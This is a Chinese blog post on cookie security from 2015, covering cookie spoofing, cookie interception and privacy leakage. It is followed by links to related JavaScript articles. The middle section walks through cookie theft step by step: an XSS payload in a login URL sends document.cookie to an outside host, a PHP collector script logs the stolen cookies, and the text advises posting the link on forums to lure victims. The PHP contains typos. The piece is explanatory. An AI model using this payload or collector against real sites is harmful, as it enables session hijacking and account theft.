深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
让你的网站可编辑的实现js代码
Oct 19 Javascript
用Jquery实现可编辑表格并用AJAX提交到服务器修改数据
Dec 27 Javascript
JavaScript实现快速排序(自已编写)
Dec 19 Javascript
定时器(setTimeout/setInterval)调用带参函数失效解决方法
Mar 26 Javascript
jquery ajax方式直接提交整个表单核心代码
Aug 15 Javascript
ThinkJS中如何使用MongoDB的CURD操作
Dec 13 Javascript
js实现适配不同的屏幕大小
Apr 10 Javascript
JavaScript实现移动端页面按手机屏幕分辨率自动缩放的最强代码
Aug 18 Javascript
vue+iview写个弹框的示例代码
Dec 05 Javascript
小程序获取周围IBeacon设备的方法
Oct 31 Javascript
使用jQuery如何写一个含验证码的登录界面
May 13 jQuery
微信小程序自定义胶囊样式
Dec 27 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
php魔术方法功能与用法实例分析
2016/10/19 PHP
分析php://output和php://stdout的区别
2018/05/06 PHP
PHP支付宝当面付2.0代码
2018/12/21 PHP
让whoops帮我们告别ThinkPHP6的异常页面
2020/03/02 PHP
Laravel配合jwt使用的方法实例
2020/10/25 PHP
JQuery AJAX实现目录浏览与编辑的代码
2008/10/21 Javascript
js函数调用的方式
2014/05/06 Javascript
js实现图片上传并正常显示
2015/12/19 Javascript
直接拿来用的页面跳转进度条JS实现
2016/01/06 Javascript
JavaScript实现字符串与日期的互相转换及日期的格式化
2016/03/07 Javascript
深入理解ECMAScript的几个关键语句
2016/06/01 Javascript
JS实现星星评分功能实例代码(两种方法)
2016/06/09 Javascript
JavaScript中对象的不同创建方法
2016/08/12 Javascript
Vuejs第六篇之Vuejs与form元素实例解析
2016/09/05 Javascript
浅谈Angular中ngModel的$render
2016/10/24 Javascript
React+Webpack快速上手指南(小结)
2018/08/15 Javascript
jQuery实现鼠标移入移出事件切换功能示例
2018/09/06 jQuery
跨域请求两种方法 jsonp和cors的实现
2018/11/11 Javascript
详解Vue中的scoped及穿透方法
2019/04/18 Javascript
使用Typescript开发微信小程序的步骤详解
2021/01/12 Javascript
[46:53]Secret vs Liquid 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/17 DOTA
[01:37]PWL S2开团时刻DAY1&2——这符有毒
2020/11/20 DOTA
Python实现的Kmeans++算法实例
2014/04/26 Python
简单介绍Python下自己编写web框架的一些要点
2015/04/29 Python
python类和继承用法实例
2015/07/07 Python
用python写个自动SSH登录远程服务器的小工具(实例)
2017/06/17 Python
windows下pycharm安装、创建文件、配置默认模板
2018/07/31 Python
Python使用字典的嵌套功能详解
2019/02/27 Python
python Matplotlib底图中鼠标滑过显示隐藏内容的实例代码
2019/07/31 Python
python选取特定列 pandas iloc,loc,icol的使用详解(列切片及行切片)
2019/08/06 Python
常用python爬虫库介绍与简要说明
2020/01/25 Python
Pandas实现一列数据分隔为两列
2020/05/18 Python
Python如何使用ElementTree解析xml
2020/10/12 Python
超市5.1促销活动
2014/01/15 职场文书
人事专员岗位职责范本
2014/03/04 职场文书
经销商年会策划方案
2014/05/29 职场文书